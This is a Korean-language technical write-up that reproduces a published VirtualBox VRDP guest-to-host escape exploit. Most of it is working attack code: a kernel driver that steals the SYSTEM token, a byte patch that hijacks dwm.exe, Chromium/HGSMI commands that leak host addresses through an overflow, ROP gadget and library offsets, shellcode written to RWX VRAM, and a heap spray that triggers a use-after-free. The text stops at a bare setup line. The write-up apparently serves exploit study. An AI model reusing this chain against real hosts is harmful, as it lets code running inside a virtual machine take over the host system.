Reference
SSD Advisory - VirtualBox VRDP Guest-to-Host Escape - SSD Secure Disclosure
Context
- VirtualBox extension pack Installed
- VRDP server enabled
- 3D acceleration enabled
- Windows 10 as a guest
- 공격자는 상승된 과정으로 vrdpexploit_launcher.exe를 실행함
- Stage: escalation
- launcher가 driver을 로드함
- driver는 launcher process 와 dwm.exe 프로세스의 권한을 SYSTEM의 권한으로 escalation함
- Stage: hijacking
- launcher는 dwm.exe에 라이브리러를 넣고 힙을 성공적으로 스프레이하는데 필요한 identifier을 하이재킹함.
- Stage: exploitation
- launcher는 dwm.exe를 일시 중단하여 디스플레이 업데이트와 관련된 guest-host 통신을 중지함. → 디스플레이가 freezing 상태임
- driver는 HGSMI(Host-Guest Shared Memory Interface)를 통해 host의 Chromium 서비스에 연결함
- driver는 infomation leak을 만들고 host의 주소를 얻기 위해 Chromium 명령어를 보냄
- driver는 힙을 스프레이하도록 호스트에 명령을 보냄
- driver는 비디오 메모리에 쉘코드를 씀. VRAM은 Guest와 Host 간에 공유되며 Host 측에서 매핑된 VRAM 영역에는 RWX 권한이 설정됨
- driver는 dwm.exe 권한을 되돌림
- Last Stage
- 공격자는 Host의 VRAM에 있는 셸코드 실행을 트리거하기 위해 RDP 연결을 닫음.
- 게스트에서 loader는 dwm.exe를 계속 실행하고 자신을 종료함. 디스플레이가 unfreezing 되고 VM이 계속 작동함.
우리는 취약점(UAF)을 트리거 하기 위해 힙스프레이를 해야하는데, 그러기 위해 Guest에서 Host로 명령을 보내야 한다. 명령을 보내기 위해서는 드라이버를 사용하는데 이 드라이버의 역할은 새로운 H3DORInstance-s를 생성하거나 특정 Chromium 명령어를 사용하여 호스트의 힙에 spray를 해줘야 한다.
하지만 H3DORInstance-s를 생성하려면 Host Id의 값이 필요하다. 이 Host Id는 dwm.exe에 로드된 VBoxDispD3D.dll에서 구할 수 있다. 이 Host Id 값을 사용하여 VBoxVideoW8.sys 드라이버로 전달되고 VBOXCMDVBVA_FLIP 명령어를 Host로 보내어 새로운 디스플레이를 생성한다. 이 Host Id 값은 커널 메모리에는 저장되지 않으므로 우리가 직접 dwm.exe에서 이 Host Id 값을 하이재킹하여 가지고 와야한다. 그리고 이를 위해서는 dwm.exe와 우리가 실행한 런처가 SYSTEM process의 토큰 권한이 있어야 함으로 우리는 먼저 이를 위해 Token Stealing 기법을 사용하여 SYSTEM Process의 토큰을 가져와야한다.
NTSTATUS
Escalate(DWORD launcherPid, DWORD dwmPid) {
/* Removed for the sake of PoC */
}
exploit에서의 첫번째 단계인 escalate 단계이다. dwm.exe에 dll injection을 하기 위해서는 SYSTEM 권한이 필요하다. 이러한 권한을 상승시키기 위해서는 dwm.exe와 launcher의 토큰값을 SYSTEM 토큰으로 변경할 필요가 있다.
Token - Windows에서 주체가 객체에 접근하기 위해 사용되는 일종의 접근 권한에 대한 정보
EPROCESS에서의 토큰값 오프셋
위의 사진에서 보듯이 Windows 10의 환경에서는 token값이 EPROCESS에서 0x4b8 오프셋 뒤에 Token 값이 위치하여 있으므로 아래와 같이 계산해 주면 Token 주소를 구할 수 있게 된다. 이렇게 dwm.exe와 런처의 Token 값을 SYSTEM(pid 4)의 토큰값 주소로 바꿔주면 Token Stealing이 가능하다.
- windbg를 notepad에 attach 하여 dt _EPROCESS를 통해 Token offset 확인 가능
- https://www.vergiliusproject.com/ 사이트에서 windows 버전 확인후 검색하여 오프셋 구할 수도 있음
Process + TOKEN_OFFSET
NTSTATUS
Escalate(DWORD launcherPid, DWORD dwmPid) {
NTSTATUS status;
status = PsLookupProcessByProcessId(ULongToHandle(launcherPid), &gLauncherProcess);
if (status == STATUS_SUCCESS) { //원래는 != 이지만 디버깅을 위해 수정
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "launcher pid: %d", launcherPid);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "launcher process:%p\n", gLauncherProcess);
}
status = PsLookupProcessByProcessId(ULongToHandle(dwmPid), &gDwmProcess);
if (status == STATUS_SUCCESS) { //원래는 != 이지만 디버깅을 위해 수정
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "dwm pid: %d", dwmPid);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "launcher process:%p\n", gDwmProcess);
}
status = PsLookupProcessByProcessId(ULongToHandle(4), &gSystemProcess);
if (status == STATUS_SUCCESS) { //원래는 != 이지만 디버깅을 위해 수정
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "system pid: %d", 4);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "system process:%p\n", gSystemProcess);
}
gOldDwmToken = (void*)(UINT64(gDwmProcess) + UINT64(TOKEN_OFFSET));
gSystemToken = (void*)(UINT64(gSystemProcess) + UINT64(TOKEN_OFFSET));
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "gOldDwmToken: %x\n", *(UINT64*)gOldDwmToken);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "gOldDwmToken: %p\n", gOldDwmToken);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "gSystemToken: %x\n", *(UINT64*)gSystemToken);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "gSystemToken: %p\n", gSystemToken);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[Before] gLauncherProcessToken: %x\n", *(UINT64*)(UINT64(gLauncherProcess) + UINT64(TOKEN_OFFSET)));
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[Before] gDwmProcessToken: %x\n", *(UINT64*)(UINT64(gDwmProcess) + UINT64(TOKEN_OFFSET)));
*(UINT64*)(UINT64(gLauncherProcess) + UINT64(TOKEN_OFFSET)) = *(UINT64*)gSystemToken; // Token Stealing
*(UINT64*)(UINT64(gDwmProcess) + UINT64(TOKEN_OFFSET)) = *(UINT64*)gSystemToken; // Token Stealing
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[After] gLauncherProcessToken: %x\n", *(UINT64*)(UINT64(gLauncherProcess) + UINT64(TOKEN_OFFSET)));
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[After] gDwmProcessToken: %x\n", *(UINT64*)(UINT64(gDwmProcess) + UINT64(TOKEN_OFFSET)));
return STATUS_SUCCESS;
}
Token Stealing이 되었다면 다음은 HostId를 하이재킹하여 값을 얻어와야한다. 그 방법은 vboxDispD3D.dll에서 보면 아래 함수에서 VBoxD3DIfSurfGet 함수가 실행되고 나면 pSrcSurfIf 값을 리턴하는데 이것을 이용하여 HostId를 하이재킹 할 수 있다.
static HRESULT APIENTRY vboxWddmDDevPresent(HANDLE hDevice, CONST D3DDDIARG_PRESENT* pData)
{
...
#ifdef VBOX_WITH_CROGL
if (pAdapter->u32VBox3DCaps & CR_VBOX_CAP_TEX_PRESENT)
{
IDirect3DSurface9 *pSrcSurfIf = NULL;
hr = VBoxD3DIfSurfGet(pSrcRc, pData->SrcSubResourceIndex, &pSrcSurfIf); //<-- patch
...
그럼 하이재킹하기 위해 첫번째로 할 것은 바로 patch라 써진 코드 다음부붙을 쉘코드로 덮어서 하이재킹이 가능하게 해주어야한다. exploit 코드를 보면 아래 두 코드가 있다.
SetPatchAddr(vboxDispD3D);
SetShellcodeAddr();
SetPatchAddr 코드를 보면 아래와 같이 되어 있는데
VOID SetPatchAddr(HMODULE vboxDispD3D) {
gPatchAddr = (PBYTE)vboxDispD3D + gPatchOffset;
}
vboxDispD3D.dll에서 우리가 패치하고 싶은 곳에 주소를 가리키게 하는것이라 추측할 수 있고
그 아래 코드인 SetShellcodeAddr 함수를 보면
VOID SetShellcodeAddr() {
*(PVOID*)(gPatch + gPatchShellcodeAddrOffset) = Shellcode;
}
이와 같이 되어있는 것을 알 수 있다. 이건 즉, gPatch 에서 특정 오프셋만큼 더한 곳에 Shellcode 주소를 덮고 gPatch를 vboxDispD3D.dll에 덮어서 실행될 때 쉘코드를 실행시킬 수 있게끔 한다는 것을 알 수 있다. dll에 있는 Host Id를 하이재킹하는 쉘코드는 VBoxD3DIfSurfGet에서 반환된 값인 pSrcSurflf를 사용하여 Host Id를 구하기위해 필요한 값인 pSrcSurfIf값을 얻어올 수 있기 때문에 아래에 표시한 patch라 가리킨 함수가 실행된 다음의 값을 주소로 주어야 한다.
IDA로 VBoxDispD3D.cpp를 봤을 때 call sub_180007D10이 VBoxD3DIfSurfGet 함수이고 이 함수를 호출한 직후에 코드를 수정하니 오프셋은 60B7이 된다. (VirtualBox-5.2.10 기준)
ULONGLONG gPatchOffset = 0x60B7;
그리고 gPatch에서 0x414141… 부분은 하이재킹의 역할을 하는 쉘코드 주소로 덮어지게끔 해야한다.
BYTE gPatch[] =
"\xE8\x00\x00\x00\x00" // call $5
"\x58" // pop rax
"\x48\x83\xE8\x05" // sub rax, 5
"\x50" // push rax
"\x48\xB8\x41\x41\x41\x41\x41\x41\x41\x41" // mov rax, 0x4141414141414141
"\x50" // push rax
"\xC3"; // ret
gPatch에서 0x414141… 앞의 오프셋은 0xd가 된다.
ULONGLONG gPatchShellcodeAddrOffset = 0xd;
이렇게 하면 쉘코드에서 Host Id를 여러 과정을 거쳐서 얻어온다. 그런 다음 점프하는 위치를 원래 바이트로 복원한다. 이 과정(패치, 하이재킹, 복원)을 총 4회 실시하는데 이 이유는 여러 Host Id 중에서 가장 낮은 값을 가져와서 실행이 잘 안될 수 있기 때문에 이를 방지하기 위해 이렇게 실시한다.
이제 우리는 힙 스프레이를 할 때 H3DORInstance-s를 만들때 필요한 HostId를 가져왔다. 그럼 우리는 Heap Spray를 통해 UAF 취약점을 트리거하여 쉘코드를 실행시키기만 하면 된다. dwm.exe는 디스플레이 관련 프로세스여서 계속 활동한다. 이러면 우리가 이곳에 dll injection을 하고 hostid를 할 때 방해가 될 가능성이 존재한다. 이것을 방지하기 위해 dwm.exe를 freezing 할 필요가 있다.
dwm.exe 프로세스는 Sysinternals의 PsSuspend 도구를 사용하여 일시 중단된다. launcher는 IOCTL_EXPLOIT 명령을 driver에 보낸다. 그리고 driver는 Host와 통신하기 위해 HGSMI 인터페이스를 초기화한다. (Host - Guest 연결)
NTSTATUS
MyLeakAddresses(uint64_t* LeakedOglAddr, uint64_t* LeakedVboxddAddr, PVBOXMP_DEVEXT pDevExt, PVBOXWDDM_CONTEXT pContext) {
/* Removed for the sake of PoC */
}
우리가 VRAM에 값을 쓰기 위해서는 VBoxSharedCrOpenGL.so 에서 VRAM 포인터를 가리키는 변수인 g_pvVRamBase를 사용하여야한다. 하지만 VBoxSharedCrOpenGL.so는 ASLR이 적용이 된 상태이므로 우리는 이것을 우회하여야 한다. 또한 Heap Spray를 할 때 VBoxDD.so에 있는 rop gadget을 사용할 예정인데 이를 위해서는 ASLR을 우회하기 위한 정보를 leak 할 필요가 있다.(VBoxSharedCrOpenGL.so, VBoxDD.so base address)
info leak을 하기위해서는 CR_GETCHROMIUMPARAMETERVCR_EXTEND_OPCODE Chromium 명령어를 사용하면 된다. 이 OPCode는 아래와 같은 함수로 들어가게 되는데 이 함수에서 오버플로우가 되는 취약점이 존재하여 이 취약점을 사용하면 info leak(VBoxSharedCrOpenGL.so, VBoxDD.so)을 할 수 있다.
void SERVER_DISPATCH_APIENTRY crServerDispatchGetChromiumParametervCR(GLenum target, GLuint index, GLenum type, GLsizei count, GLvoid *values)
{
GLubyte local_storage[4096];
GLint bytes = 0;
switch (type) {
case GL_BYTE:
case GL_UNSIGNED_BYTE:
bytes = count * sizeof(GLbyte);
break;
case GL_SHORT:
case GL_UNSIGNED_SHORT:
bytes = count * sizeof(GLshort);
break;
case GL_INT:
case GL_UNSIGNED_INT:
bytes = count * sizeof(GLint);
break;
case GL_FLOAT:
bytes = count * sizeof(GLfloat);
break;
case GL_DOUBLE:
bytes = count * sizeof(GLdouble);
break;
default:
crError("Bad type in crServerDispatchGetChromiumParametervCR");
}
...
crServerReturnValue( local_storage, bytes ); // bytes의 길이 검증 x
}
위의 코드를 보면 crServerReturnValue에서 bytes의 길이 검증 없이 읽어들인다. 즉, info leak을 하기 위해서는 위의 OPCode를 사용하여 0x1000 이상의 길이만큼 buffer에 값을 써서 overflow를 일으키고 그것을 읽어들이면 info leak을 할 수 있다.
먼저 OPcode를 사용하여 4096 이상의 값을 buffer에 쓰는 작업부터 해야한다. 우리는 buffer을 VRAM에다가 쓰고 읽기로 했다. SSD에서는 write하는 부분이 없어서 우리가 직접 만들어 줘야한다.
양식은 heapspray 하는 부분을 참조했다.
1 layer는 HGSMI의 헤더부분에 대한 정보를 담고 있다.
2 layer는 어떤 커맨드를 보낼지에 대한 정보를 담고 있다.
3 layer는 4 layer에서 사용할 버퍼의 오프셋과 크기에 대한 정보를 담고 있다.
4-1 layer는 Chromium Command Header
4-2 layer는 Chromium Command 인자값에 대한 정보를 담고 있다.
5 layer는 어떤 Chromium Command를 보낼지 OPCode, 함수 인자 값을 적어서 보내준다.
NTSTATUS
MySendCrCmdWrite(PVBOXMP_DEVEXT pDevExt, PVBOXWDDM_CONTEXT pContext, uint8_t* buffer, const uint32_t buffer_len) {
PHGSMIGUESTCOMMANDCONTEXT guestCtx = &VBoxCommonFromDeviceExt(pDevExt)->guestCtx;
uint32_t u32CrConClientID = pContext->u32CrConClientID;
/* Don't need to count Layer 0 size */
const uint32_t layer1Size = sizeof(VBOXSHGSMIHEADER);
const uint32_t layer2Size = sizeof(VBOXCMDVBVA_CTL_3DCTL_CMD);
const uint32_t layer3BufferCount = 2;
const uint32_t layer3Size = sizeof(uint32_t) + sizeof(VBOXCMDVBVA_CRCMD_BUFFER) * layer3BufferCount;
const uint32_t layer4Size = sizeof(VBOXMP_CRHGSMICMD_WRITE) + sizeof(CRMessageOpcodes);
const uint32_t layer5Size = sizeof(CRMessageOpcodes) + 0x100;
const uint32_t totalSize = layer1Size + layer2Size + layer3Size + layer4Size + layer5Size;
VBOXSHGSMIHEADER* pShgsmiHdr = (VBOXSHGSMIHEADER*)VBoxHGSMIBufferAlloc(guestCtx, totalSize, HGSMI_CH_VBVA, VBVA_CMDVBVA_CTL);
if (!pShgsmiHdr) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[*] Failed VBoxHGSMIBufferAlloc\n");
return STATUS_UNSUCCESSFUL;
}
/* Layer 0 is already initialized in VBoxHGSMIBufferAlloc */
/* Layer 1 */
pShgsmiHdr->pvNext = NULL;
pShgsmiHdr->fFlags = 0;
pShgsmiHdr->cRefs = 1;
pShgsmiHdr->u64Info1 = (uint64_t)MyEmptyCallback;
pShgsmiHdr->u64Info2 = (uint64_t)NULL;
/* Layer 2 */
VBOXCMDVBVA_CTL_3DCTL_CMD* pCmd = (VBOXCMDVBVA_CTL_3DCTL_CMD*)(pShgsmiHdr + 1);
pCmd->Hdr.u32Type = VBOXCMDVBVACTL_TYPE_3DCTL;
pCmd->Hdr.i32Result = VERR_NOT_SUPPORTED;
pCmd->Cmd.Hdr.u32Type = VBOXCMDVBVA3DCTL_TYPE_CMD;
pCmd->Cmd.Hdr.u32CmdClientId = 0;
pCmd->Cmd.Cmd.u8OpCode = VBOXCMDVBVA_OPTYPE_CRCMD;
pCmd->Cmd.Cmd.u8Flags = 0;
pCmd->Cmd.Cmd.u8State = VBOXCMDVBVA_STATE_SUBMITTED;
pCmd->Cmd.Cmd.u.i8Result = -1;
pCmd->Cmd.Cmd.u2.u32FenceID = 0;
/* Layer 3 */
VBOXCMDVBVA_CRCMD_CMD* pCrCmd = (VBOXCMDVBVA_CRCMD_CMD*)(pCmd + 1);
pCrCmd->cBuffers = layer3BufferCount;
pCrCmd->aBuffers[0].cbBuffer = 0;
pCrCmd->aBuffers[0].offBuffer = 0;
pCrCmd->aBuffers[1].cbBuffer = 0;
pCrCmd->aBuffers[1].offBuffer = 0;
/* Layer 4: the 1'st buffer (command header) */
VBOXMP_CRHGSMICMD_WRITE* pCrCmdWrite = (VBOXMP_CRHGSMICMD_WRITE*)((uint8_t*)pCrCmd + layer3Size);
pCrCmdWrite->Cmd.hdr.result = VERR_WRONG_ORDER;
pCrCmdWrite->Cmd.hdr.u32ClientID = u32CrConClientID;
pCrCmdWrite->Cmd.hdr.u32Function = SHCRGL_GUEST_FN_WRITE;
pCrCmdWrite->Cmd.hdr.u32Reserved = 0;
pCrCmdWrite->Cmd.iBuffer = 0;
pCrCmd->aBuffers[0].cbBuffer = sizeof(*pCrCmdWrite);
pCrCmd->aBuffers[0].offBuffer = (VBOXCMDVBVAOFFSET)vboxMpCrShgsmiBufferOffset(pDevExt, pCrCmdWrite);
/* Layer 4: the 2'nd buffer (argument) */
CRMessageOpcodes* pCrCmdWriteArg = (CRMessageOpcodes*)(pCrCmdWrite + 1);
/* Should the header be initialized? */
pCrCmdWriteArg->header.type = CR_MESSAGE_OPCODES;
pCrCmdWriteArg->header.conn_id = 0;
pCrCmdWriteArg->numOpcodes = 0x1;
pCrCmd->aBuffers[1].cbBuffer = sizeof(*pCrCmdWriteArg);
pCrCmd->aBuffers[1].offBuffer = (VBOXCMDVBVAOFFSET)vboxMpCrShgsmiBufferOffset(pDevExt, pCrCmdWriteArg);
/* Layer 5: Chromium opcodes and data */
uint8_t* pData = (uint8_t*)(pCrCmdWriteArg + 1);
*(pData + 3) = CR_EXTEND_OPCODE;
*(uint32_t*)(pData + 4) = 0; // unused
*(uint32_t*)(pData + 8) = CR_GETCHROMIUMPARAMETERVCR_EXTEND_OPCODE;
*(uint32_t*)(pData + 12) = 0; // params[0], GLenum target(0, 0x8B2D)
*(uint32_t*)(pData + 16) = 0; // params[1], GLuint index
*(uint64_t*)(pData + 20) = 0x1401; // params[2], GLenum type(GL_UNSIGNED_BYTE)
*(uint64_t*)(pData + 24) = buffer_len - 0x50; // params[3], GLsizei count(0x18 이상 빼줘야 오류 안생김, 아마 opcdoe 크기같음)
*(uint64_t*)(pData + 28) = 0; // params[4], GLvoid *values
int rc = VBoxHGSMIBufferSubmit(guestCtx, pShgsmiHdr);
if (!RT_SUCCESS(rc)) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[*] Failed VBoxHGSMIBufferSubmit: %x\n", rc);
return STATUS_UNSUCCESSFUL;
}
// IMPORTANT: must let a host to complete previous command
RTThreadSleep(100);
return STATUS_SUCCESS;
}
CR_GETCHROMIUMPARAMETERVCR_EXTEND_OPCODE를 사용하려면 CR_EXTEND_OPCODE를 통해 사용해야 한다. CR_GETCHROMIUMPARAMETERVCR_EXTEND_OPCODE를 사용시 총 파라미터를 5개를 받는데 각각 target, index, type, count, *values 값이다. 우리가 필요한 것은 buffer_len와 byte크기와 관련이 있는 type 외에는 필요 없으므로 0으로 값을 넣었다. 그후 구현되어있는 mySendCrCmdRead 함수를 사용하여 buffer에 적은 값을 읽어들여 VBoxSharedCrOpenGL.so 와 VBoxDD.so 주소를 leak 할 수 있다.
- cat /proc/VBoxHeadless pid 값/maps 으로 VBoxSharedCrOpenGL.so, VBoxDD.so 주소 확인 후 찾기
00001020: 7d9b627738956a00 0000000000000010
00001030: 00007f8a5ab716c0 00007f8a5ab716c0
00001040: 00007f8a2ffffc7e **00007f8a5a94b418**
00001050: 00007f8a2ffffc80 00007f8a82d73ab0
00001060: 00007f8a5a924973 00007f8a82d73b20
00001070: 000000000000000c 00007f87f21a6a98
00001080: 00007f8a2ffffc7f 00007f8a5ab716c0
00001090: 00007f8a2ffffc7e 00007f8a82d73b20
000010A0: 00007f8a5a925415 00007f8a82d73b60
000010B0: 7d9b627738956a00 00007f8a82d73af0
000010C0: 00007f87f21a6a70 00007f8a82d73b20
000010D0: 000000000000000c 00007f8a82d73b20
000010E0: 000000000000000c 00007f87f04ddb00
000010F0: 00007f8a2ffffc70 00007f87f21a6a70
00001100: 00007f8a5ab73700 00007f8a82d73bc0
00001110: 00007f8a5a897588 00007f87f21a6ce8
00001120: 00007f8a82d73b7c 00007f8a5ab769d0
00001130: 00007f8a82d73b80 00007f87f0aea760
00001140: 00007f8a2ffffc7f 00007f8a2ffffc7c
00001150: 00007f8a2ffffc80 0000000000000000
00001160: 00007f8a2ffffc48 00007f87f04ddaf0
00001170: 7d9b627738956a00 0000000000000000
00001180: 00007f87f2271850 00007f8a2ffffc70
00001190: 0000000000000000 00007f8a2ffffc48
000011A0: 000000000000000c 00007f8a82d73be0
000011B0: 00007f8a5a87ed3d 00007f8a2ffffc5c
000011C0: 00007f8a2ffffc5c 00007f8a82d73c50
000011D0: 00007f8a5a8831c3 00001e0000000001
000011E0: 0000000000000014 0000000000000012
000011F0: 0000000000000001 00007f87f2271850
00001200: 7d9b627738956a00 0000000000000001
00001210: 00007f8a6a198180 0000000000000008
00001220: 00007f8a82d73e38 00007f8a82d73e34
00001230: 00007f8a6a198190 00007f8a82d73c70
00001240: 00007f8a5a8838d7 0000000000000002
00001250: 00007f8a6a198180 00007f8a82d73dc0
00001260: **00007f8a3cfeea48** 00007f8a82d73cd0
00001270: 00007f8a3cf75d93 00007f8a80023718
00001280: 0000001200000001 00007f8a6a198180
이 중 0x1048 오프셋에 위치한 값을 통해 VBoxSharedCrOpenGL.so의 base 주소까지의 오프셋을 구하였고, 0x1260 오프셋에 위치한 값을 통해 VBoxDD.so의 base 주소까지의 오프셋을 구하였다.
NTSTATUS
MyLeakAddresses(uint64_t* LeakedOglAddr, uint64_t* LeakedVboxddAddr, PVBOXMP_DEVEXT pDevExt, PVBOXWDDM_CONTEXT pContext) {
PVBOXMP_COMMON pCommon = VBoxCommonFromDeviceExt(pDevExt);
uint8_t* buffer = (uint8_t *)&(pCommon->phVRAM);
const uint32_t buffer_len = 0x1500;
uint64_t OffsetFromBufferToOglAddr = 0x1048;
uint64_t OffsetFromBufferToVboxddAddr = 0x1260;
****
/*1. Write CR OPCODE to Host*/
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[*] 1. Write CR OPCODE to Host[MySendCrCmdWrite]\n");
NTSTATUS status = MySendCrCmdWrite(pDevExt, pContext, buffer, buffer_len);
if (status != STATUS_SUCCESS) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[*] Failed MySendCrCmdWrite: %x\n", status);
return STATUS_UNSUCCESSFUL;
}
/*2. Read buffer in Host*/
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, "[*] 2. Read buffer in Host[MySendCrCmdRead])\n");
status = MySendCrCmdRead(pDevExt, pContext, buffer, buffer_len);
if (status != STATUS_SUCCESS) {
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "[*] Failed MySendCrCmdWrite: %x\n", status);
return STATUS_UNSUCCESSFUL;
}
*LeakedOglAddr = *(uint64_t*)(buffer + OffsetFromBufferToOglAddr);
*LeakedVboxddAddr = *(uint64_t*)(buffer + OffsetFromBufferToVboxddAddr);
return STATUS_SUCCESS;
}
VBoxSharedCrOpenGL.so, VBoxDD.so leak address
ULONGLONG OffsetFromOglToLeakedAddr = 0xF0418; // VBoxSharedCrOpenGL.so
ULONGLONG OffsetFromVboxddToLeakedAddr = 0xA0A48; // VBoxDD.so
이렇게 구한 주소들을 바탕으로 각각 라이브러리의 베이스 주소, Vram포인터를 가리키는 변수의 주소, RopGadget의 주소를 구하였다.
uint64_t OglBase = LeakedOglAddr - OffsetFromOglToLeakedAddr; // VBoxSharedCrOpenGL.so
uint64_t VboxddBase = LeakedVboxddAddr - OffsetFromVboxddToLeakedAddr; // VBoxDD.so
uint64_t VramPtr = OglBase + OffsetFromOglToVramPtr; // g_pvVRamBase
uint64_t RopGadget = VboxddBase + OffsetFromVboxddToRopGadget;
다음은 쉘코드를 실행 권한이 있는 곳에 넣어줘서 실행시켜야 한다. VRAM에는 RWX 권한을 가지고 있으므로 VRAM에 쉘코드를 넣어 실행시키는 방법을 생각할 수 있다. VRAM에 대한 포인터는 우리가 leak한 VBoxSharedCrOpenGL.so에서 g_pvVRamBase 변수가 가리킨다. 이 변수는 전역 변수로 고정 오프셋이며 IDA로 디버깅 하면 0x316670 위치에 있는 것을 확인 할 수 있고 VBoxSharedCrOpenGL.so base 주소도 구했으니 VRAM에 접근하여 사용 가능하다.
ULONGLONG OffsetFromOglToVramPtr = 0x316670; // g_pvVRamBase
그러면 이제 shellcode를 VRAM에 넣어줘야 한다. 우리는 VRAM의 physical address는 0xe0000000라고 알고 있다. 그러면 우리는 이 물리 주소를 논리 주소로 바꿔줘서 그 곳에 shellcode를 넣어줘야 한다.
extern NTSTATUS MyMapPhysicalToVirtual(PVOID* virtOut, PHYSICAL_ADDRESS phys, PHYSICAL_ADDRESS physLen);
extern NTSTATUS MyUnmapVirtual(PVOID virt);
exploit 코드에서 VBoxMPCr.cpp 에서 위를 보면 다음과 같은 함수를 extern해서 받는 것을 알 수 있다. 이 두 함수는 physical 주소를 가상 주소로 할당과 해제해주는 역할을 하는 함수이다. 우리는 이 두 함수를 이용하여 VRAM에 쉘코드를 쓸 수 있었다.
NTSTATUS
MyWriteShellcodeToVRAM(PHYSICAL_ADDRESS vram) {
PVOID virOut = NULL;
PHYSICAL_ADDRESS size;
size.QuadPart = 0x8000000;
MyMapPhysicalToVirtual(&virOut, vram, size);
memcpy(virOut, gShellcode, gShellcodeSize);
MyUnmapVirtual(virOut);
return STATUS_SUCCESS;
}
이러면 우리는 우리가 필요한 모든 라이브러리의 base 주소를 구하였고 RWX권한이 있는 VRAM에 쉘코드를 썼다. 그러면 이제 heap spray를 통해 UAF 버그를 트리거 하면 된다. 아래에 보이는 코드에서 call QWORD PTR [rax+0x320] 를 이용하여 ROP 가젯을 사용하면 트리거가 가능하다.
0x7ff6bfb9f2fe <ConsoleVRDPServer::H3DORVisibleRegion(void*, unsigned int, RTRECT const*)+30>: mov rax,QWORD PTR [rax]
0x7ff6bfb9f301 <ConsoleVRDPServer::H3DORVisibleRegion(void*, unsigned int, RTRECT const*)+33>: mov rdi,QWORD PTR [rdi+0x8]
=> 0x7ff6bfb9f305 <ConsoleVRDPServer::H3DORVisibleRegion(void*, unsigned int, RTRECT const*)+37>: call QWORD PTR [rax+0x320]
마지막 단계인 heap spray다. UAF 버그를 트리거 하기 위해 많은 H3DORInstance-s를 만들어야한다. 디스플레이를 생성하려면 WDDM 드라이버와 마찬가지로 VBOXCMDVBVA_FLIP 명령을 보낸다. 임의의 콘텐츠 청크를 할당하기 위해 우리는 CR_PROGRAMNAMEDPARAMETER4DVNV_EXTEND_OPCODE 명령어를 사용하여 생성할 예정이다.
이 명령어는 메모리를 할당하고 버퍼 내용을 메모리에 복사하지만 실패하더라도 할당을 해제하지 않는다.
위 사진은 heap spray를 하고 나서의 Instance 구조체를 확인 모습이다. 사진을 보면 Instance 구조체 밑에 우리가 heap spray한 부분을 확인할 수 있다. 0x414141… 부분에는 ROP gadget이 들어가고 0x4242…. 부분에는 쉘코드 주소가 들어가 있다. 위 사진을 기준으로 디버깅을 해보면 ConsoleVRDPServer::H3DORVisibleRegion에서 아래와 같은 부분이 있다. 이 부분(빨간색)은 UAF가 터진 부분이다.
/* static */ DECLCALLBACK(void) ConsoleVRDPServer::H3DORVisibleRegion(void *pvInstance,
uint32_t cRects, const RTRECT *paRects)
{
H3DORLOG(("H3DORVisibleRegion: ins %p %d\n", pvInstance, cRects));
H3DORInstance *p = (H3DORInstance *)pvInstance;
Assert(p);
Assert(p->pThis);
if (cRects == 0)
{
/* Complete image is visible. */
RTRECT rect;
rect.xLeft = p->x;
rect.yTop = p->y;
rect.xRight = p->x + p->w;
rect.yBottom = p->y + p->h;
p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
1,
&rect);
}
else
{
**p->pThis->m_interfaceImage.VRDEImageRegionSet (p->hImageBitmap,
cRects,
paRects);**
}
H3DORLOG(("H3DORVisibleRegion: ins %p completed\n", pvInstance));
}
0x7ff6bfb9f2fe <ConsoleVRDPServer::H3DORVisibleRegion(void*, unsigned int, RTRECT const*)+30>: mov rax,QWORD PTR [rax]
0x7ff6bfb9f301 <ConsoleVRDPServer::H3DORVisibleRegion(void*, unsigned int, RTRECT const*)+33>: mov rdi,QWORD PTR [rdi+0x8]
=> 0x7ff6bfb9f305 <ConsoleVRDPServer::H3DORVisibleRegion(void*, unsigned int, RTRECT const*)+37>: call QWORD PTR [rax+0x320]
이 부분에서 call qword ptr [rax+0x320]를 하고 rop 가젯으로 들어가서 shell code 주소를 call 하여 shell code를 실행할 수 있다. 그렇다면 우리는 call qword ptr [rax + 0x320]를 한 이후 rop 가젯에서 rax 값은 현제 0x7fb4ae0fd040이니 최소 0x48만큼의 오프셋을 더하여 그곳에 있는 쉘코드를 실행해주는 rop 가젯을 구해야 한다.
즉, 아래와 같은 형식의 rop 가젯을 찾아야 한다.
MOV RAX, qword ptr [RAX + 0Xn8] // n은 최소 4 이상이여야함
... // rax가 손상되지 않으면 됨
CALL qword ptr[RAX]
우리는 VBoxDD.so에서 ROP gadget을 찾아본 결과 아래와 같은 ROP gadget을 찾을 수 있었다.
ULONGLONG OffsetFromVboxddToRopGadget = 0xB4FAA;
이후 Exploit Code를 실행하면 heap spray를 끝나고 나서 5초 정도 후에 VirtualBox에 연결된 VRDP 연결을 끊을 시 shell(xterm 실행하는 행위를 함)을 실행하는 모습을 확인할 수 있다.
Set up
sudo apt update
